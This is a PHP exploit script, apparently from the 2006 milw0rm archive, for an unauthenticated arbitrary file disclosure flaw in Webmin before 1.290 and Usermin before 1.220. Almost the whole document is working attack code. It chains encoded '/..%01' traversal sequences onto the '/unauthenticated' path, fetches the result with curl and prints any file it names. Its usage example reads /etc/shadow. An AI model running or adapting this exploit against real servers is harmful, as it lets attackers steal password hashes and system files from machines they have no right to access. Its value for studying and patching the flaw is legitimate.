Webmin < 1.290 / Usermin < 1.220 Arbitrary File Disclosure Exploit

<?php
/*
Name : Webmin / Usermin Arbitrary File Disclosure Vulnerability
Date :  2006-06-30
Patch : update to version 1.290
Advisory : http://securitydot.net/vuln/exploits/vulnerabilities/articles/17885/vuln.html
Coded by joffer , http://securitydot.net
*/
$host = $argv[1];
$port = $argv[2];
$http = $argv[3];
$file = $argv[4];
// CHECKING THE INPUT
if($host != "" && $port != "" && $http != "" && $file != "") {
$z = "/..%01";
for ($i=0;$i<60;$i++) {
        $z.="/..%01";
}
$target = $http."://".$host.":".$port."/unauthenticated".$z."/".$file."";
echo "Attacking ".$host."\n";
echo "---------------------------------\n";
// INITIALIZING CURL SESSION TO THE TARGET
$ch = curl_init();
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $target);
curl_setopt ($ch, CURLOPT_TIMEOUT, '10');
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,FALSE);
$content = curl_exec($ch);
curl_close ($ch);
// CLOSING CURL
// ECHOING THE CONTENT OF THE $FILE
echo $content;
echo "---------------------------------\n";
echo "Coded by joffer , http://securitydot.net\n";
} else {
        // IF INPUT IS NOT CORRECT DISPLAY THE README
        echo "Usage php webmin.php HOST PORT HTTP/HTTPS FILE\n";
        echo "Example : php webmin.php localhost 10000 http /etc/shadow\n";
        echo "Coded by joffer , http://securitydot.net\n";
}
?>
# milw0rm.com [2006-07-09]